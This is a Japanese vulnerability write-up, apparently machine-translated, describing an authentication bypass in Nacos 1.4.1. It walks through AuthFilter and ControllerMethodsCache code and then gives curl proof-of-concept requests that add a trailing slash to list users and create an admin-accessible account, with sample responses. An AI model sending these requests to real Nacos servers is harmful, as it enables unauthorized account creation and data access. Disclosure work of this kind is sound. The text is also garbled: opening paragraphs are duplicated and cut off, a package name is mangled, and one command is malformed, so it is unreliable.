Nacosはセキュリティ・ホールの修復後も問題が残っています.
8960 ワード
すみません、nacosの最新バージョン1.4.1はUser-Agentに対してセキュリティ・ホールを迂回したserverIdentity key-value修復メカニズムについて、依然として迂回問題があり、nacosでserverIdentityのカスタムkey-value認証を開いた後、特殊なurl構造を通じて、依然として制限を回避して任意のhttpインターフェースにアクセスすることができます.
この機能を見ることによって、APplication.propertiesに構成
しかし、このメカニズムを開いた後、コードの中から、何らかの状況で迂回して無効にしてもいいことを発見しました.どのインターフェースを使っても、このバグを通して、鑑権を迂回できます.
追加ユーザインターフェースを呼び出して、新しいユーザを追加し(
一、脆弱性の詳細
問題は主にの最初のものは を実行する.の第二は である.の3番目は、前の2つの条件が一致しない場合に、直接にアクセス拒否を要求する応答 である.
問題が二つ目の分岐に発生した場合、nacosの開発者がaplication.propertiesに配置
下を見てください.コードが来ました.
comple.aliba.nacos.co.re.co.co.co.co.co.controller Methods Cache
urlKeyの構成には、pathという部分がありますが、この部分の生成には、ちょうど問題があります.
このようにして、このpathのもう一つの終わりをコントロールできる斜め棒'/'を、url LookupというConccurrenthashMapからはmethodが得られませんでした.なぜならば、nacosの基本的なすべてのRequest Mappingは斜め棒'/'で終わっていません.非斜め棒'/最後のRequest Mappingだけが存在して、urlLocketMappingはこのContに保存されています.最外層の
二、バグ影響範囲
影響範囲:1.4.1
三、手抜かりの再現
1.ユーザーリストインターフェースにアクセスする
2.新しいユーザを追加する
この機能を見ることによって、APplication.propertiesに構成
nacos.core.auth.enable.userAgentAuthWhite:false
を追加する必要があり、User-Agent: Nacos-Server
が認証権の安全問題を回避することができる.しかし、このメカニズムを開いた後、コードの中から、何らかの状況で迂回して無効にしてもいいことを発見しました.どのインターフェースを使っても、このバグを通して、鑑権を迂回できます.
追加ユーザインターフェースを呼び出して、新しいユーザを追加し(
POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test
)、新規に追加したユーザを使ってconsoneにログインし、データにアクセスし、修正し、追加する.一、脆弱性の詳細
問題は主に
com.alibaba.nacos.core.auth.AuthFilter#doFilter
にある.public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...
}
...
}
...
}
上の3つのif else分岐が見られます.authConfigs.isEnableUserAgentAuthWhite()
で、デフォルト値はtrueであり、値がtrueである場合、要求ヘッドUser−AgentがUser-Agent: Nacos-Server
に一致するかどうかを判断し、一致すれば、後続のすべての論理をスキップしてchain.doFilter(request, response);
StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
であり、つまり、nacos 1.4.1バージョンはUser-Agent: Nacos-Server
の安全問題に対する簡単な修復問題が二つ目の分岐に発生した場合、nacosの開発者がaplication.propertiesに配置
nacos.core.auth.enable.userAgentAuthWhite:false
を追加し、key-value簡易認証機構をオープンした後、開発者構成のnacos.core.auth.server.identity.key
によってhttp headerの中から一つのvalueを取得し、開発者構成のnacos.core.auth.server.identity.value
とマッチングします.一致しない場合は分岐に進みません.if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
しかし、問題はここにあります.ここのロジックは不一致の時に直接に訪問を拒否するはずです.実際にはそうしていません.これは後回しにして条件を提供します.下を見てください.コードが来ました.
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...
ここでは判断method == null
があり、この条件を満たせば、後続の認証コードに到達しないことが分かる.methodsCache.getMethod(req)
コードを見ることによって実現され、リターンできるmethodはnullであるという方法を発見しました.comple.aliba.nacos.co.re.co.co.co.co.co.controller Methods Cache
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
このコードの中には、methodの値の戻りがはっきりと見えます.String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List requestMappingInfos = urlLookup.get(urlKey);
urlKeyというkeyは、url Look upというConcerenthashMapからマッピング値を取得できますか?urlKeyの構成には、pathという部分がありますが、この部分の生成には、ちょうど問題があります.
new URI(request.getRequestURI()).getPath()
通常のアクセス、例えばcurl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
、得られたpathは/nacos/v1/auth/users
であり、curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is
などの特殊な構造のurlを通じて得られたpathは/nacos/v1/auth/users/
である.このようにして、このpathのもう一つの終わりをコントロールできる斜め棒'/'を、url LookupというConccurrenthashMapからはmethodが得られませんでした.なぜならば、nacosの基本的なすべてのRequest Mappingは斜め棒'/'で終わっていません.非斜め棒'/最後のRequest Mappingだけが存在して、urlLocketMappingはこのContに保存されています.最外層の
method == null
条件は、この認証機構をバイパスするために満たすことができる.二、バグ影響範囲
影響範囲:1.4.1
三、手抜かりの再現
1.ユーザーリストインターフェースにアクセスする
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
認証をバイパスして、ユーザーリストデータに戻ります.{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
2.新しいユーザを追加する
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
鑑権を避けて、新しいユーザーを追加することができます.{
"code":200,
"message":"create user ok!",
"data":null
}
3.ユーザーリストを再度表示するcurl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
戻ってきたユーザーリストのデータには、認証を迂回して作成した新しいユーザが追加されています.{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
4.トップページhttp://127.0.0.1:8848/nacos/
にアクセスして、新しいアカウントに登録して、どんなことができますか?